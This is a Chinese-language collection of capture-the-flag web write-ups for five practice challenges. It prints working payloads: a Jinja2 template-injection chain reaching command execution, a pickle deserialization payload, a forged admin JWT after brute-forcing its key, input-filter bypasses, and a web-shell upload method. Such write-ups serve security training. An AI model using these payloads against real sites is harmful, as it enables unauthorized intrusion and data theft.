[MRCTF2020]套娃
參考:
MRCTF2020 套娃 - Rabbittt - 部落格園 (cnblogs.com)
upfine的部落格 (cnblogs.com)
檢視原始碼
然後我這裡查一下$_SERVER的這個用法
然後這邊的意思就是裡面不能用_和%5f(URL編碼過的下劃線)
然後傳入b_u_p_t裡面這個引數有下劃線,我們想辦法繞過
substr_count()函式計運算元串在字串中出現的次數
PS:子串區分大小寫
所以我們用%5F繞過,然後就是不能等於2333,但是因為正則匹配中'^'和'$'代表的是行的開頭和結尾,所以能利用換行繞過
(這裡我嘗試一下陣列繞過,是繞不過去的)
b%5Fu%5Fp%5Ft=23333%0a
得到下一關
第二關在原始碼找到jsfuck的程式碼Jsfuck -- 一個很有意思的Javascript特性 - 簡書 (jianshu.com)
我們複製下來到控制檯操作一下
需要我們post一個Merak
然後就出現了原始碼
然後我們需要本地訪問,這裡使用Client-Ip,XFF不行哦,在Burp上新增
Clinet-Ip: 127.0.0.1
file_get_contents需要我們讀取的檔案是後面的那個todat那個內容,我們應該使用偽協議
data://text/plain,todat is a happy day
重要的是那個file,怎麼去讀取,經歷change函式,是先base64編碼,然後轉換成ascll碼+i*2生成新的字元
然後我們逆向回來
import base64
def reverse_change(s):
# 初始化一個空列表來儲存處理後的字元
chars = []
# 遍歷輸入字串的每個字元
for i, char in enumerate(s):
# 減去索引乘以2的ASCII碼值
new_char = chr(ord(char) - i * 2)
# 將處理後的字元新增到列表中
chars.append(new_char)
# 將列表中的字元重新組合成一個字串
reversed_str = ''.join(chars)
# 對字串進行Base64編碼(假設原始字串是Base64解碼後的)
base64_encoded = base64.b64encode(reversed_str.encode()).decode()
return base64_encoded
# 匯入base64模組(用於Base64編碼和解碼)
# 示例使用
original_base64 = "ZmxhZy5waHA=" # 替換為實際的Base64字串
reversed_base64 = reverse_change(base64.b64decode(original_base64).decode())
print(reversed_base64) # 輸出逆向處理後的Base64字串
ZmpdYSZmXGI=
所以我們最後傳入,這裡需要url編碼,只用中間那一部分需要,我也不太清楚為啥,否則就是不行
?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI
得到flag
[Zer0pts2020]Can you guess it?
參考:
[BUUCTF題解][Zer0pts2020]Can you guess it - Article_kelp - 部落格園 (cnblogs.com)
[Zer0pts2020]Can you guess it?_i[zer0pts2020]can you guess it?-CSDN部落格
看原始碼
目前來看就是會有一個隨機的值secret和我們的傳入的guess值判斷,如果相等就會給出flag
但是他是隨機的,沒有什麼漏洞,這些函式,所以我們目光轉向前面的兩個if
basename()
函式用於從一個路徑字串中提取檔名部分(不包括目錄路徑),並返回提取的檔名,但是該函式發現最後一段為不可見字元時會退取上一層的目錄,
$_SERVER['PHP_SELF']
會獲取我們當前的訪問路徑,並且PHP在根據URI解析到對應檔案後會忽略掉URL中多餘的部分
然後正規表示式只匹配末尾
所以最後payload如下
/index.php/config.php/%ff?source
[CSCCTF 2019 Qual]FlaskLight
參考:
[CSCCTF 2019 Qual]FlaskLight——直取flag?-CSDN部落格
ssti詳解與例題以及繞過payload大全_ssti繞過空格-CSDN部落格
檢視原始碼
發現了傳遞的引數,我們先試一下是不是模板注入
果然是模板注入
先找有沒有什麼可以利用的類
?search={{().__class__.__mro__[1].__subclasses__()}}
然後這邊我也是看到file類了,看看是第幾個位置,程式碼跑了一下,是第41位
str="<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>"
str = str.split(', ')
print(len(str))
可以先讀取檔案試試
?search={{().__class__.__mro__[1].__subclasses__()[40](%27/etc/passwd%27).read()}}
然後這裡我發現我們讀取檔案沒用,這個flag找不到,我們還得想辦法命令執行,然後我發現了這個,可以利用它去弄那個內建的\__builtins__
,失敗了
?search={{().__class__.__mro__[1].__subclasses__()[59].__init__.__globals__}}
但是我退回去__init__
是沒有問題的,我就感覺是過濾掉了globals,然後搜到了繞過
?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']}}
我們就是要用__builtins__
這個
?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']}}
然後我們就是用__import__
去進行命令執行
?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__'].__import__('os').popen('ls').read()}}
成功回顯,然後此時我發現我不知道哪裡有flag,然後應該就是flasklight
裡面
?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__'].__import__('os').popen('ls ./flasklight').read()}}
然後檢視flag
?search={{().__class__.__mro__[1].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__'].__import__('os').popen('cat ./flasklight/coomme_geeeett_youur_flek').read()}}
[CISCN2019 華北賽區 Day1 Web2]ikun
參考:
[CISCN2019 華北賽區 Day1 Web2]ikun_[ciscn2019 華北賽區 day1 web2]ikun 1-CSDN部落格
[BUUCTF題解][CISCN2019 華北賽區 Day1 Web2]ikun - Article_kelp - 部落格園 (cnblogs.com)
開啟題目就是一個ikun,讓我們買到lv6
原始碼處發現圖片命名規則,發然後我們找找lv6在哪裡,編寫指令碼
import requests
for i in range(1,1000):
url = f'http://42308cef-cefc-458f-94d1-c4f1373cdf09.node5.buuoj.cn:81/shop?page={i}'
res = requests.get(url)
print(f'[+]正在查詢第{i}頁')
if 'lv6.png' in res.text:
print(f'[*]查詢完畢')
print(i)
break
最後發現是在181
頁,付款的時候抓包,因為他有個折扣,我們更改一下
修改成
然後他返回了一個地址
然後我們訪問了,他說得是admin使用者
我們抓包,注意到他有個jwt格式的,可能是jwt偽造,但是我們沒有金鑰,我用空金鑰試了一下,然後不行的
然後使用jwtcrack爆破金鑰
得到金鑰為1Kun
,然後偽造
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
然後進入後有個按鈕沒啥用,我們檢視原始碼,找到網站原始碼壓縮包
下載下來就開始程式碼審計,在Admin.py
裡發現
然後使用pickle這個反序列化[CISCN2019 華北賽區 Day1 Web2]ikun_[ciscn2019 華北賽區 day1 web2]ikun 1-CSDN部落格
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
然後生成的拼接在這裡
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
然後就得到flag
[WUSTCTF2020]CV Maker
開啟就是個註冊,我們註冊個賬號登入進去看看
登陸進來,有個頭像上傳的地方,我們試試,是不是檔案上傳,然後有點waf,我們修改一下Content-Type
以及加一個檔案頭,沒有字尾的限制
然後上傳後在原始碼處發現了返回路徑
我們用蟻劍連線一下,根目錄找到flag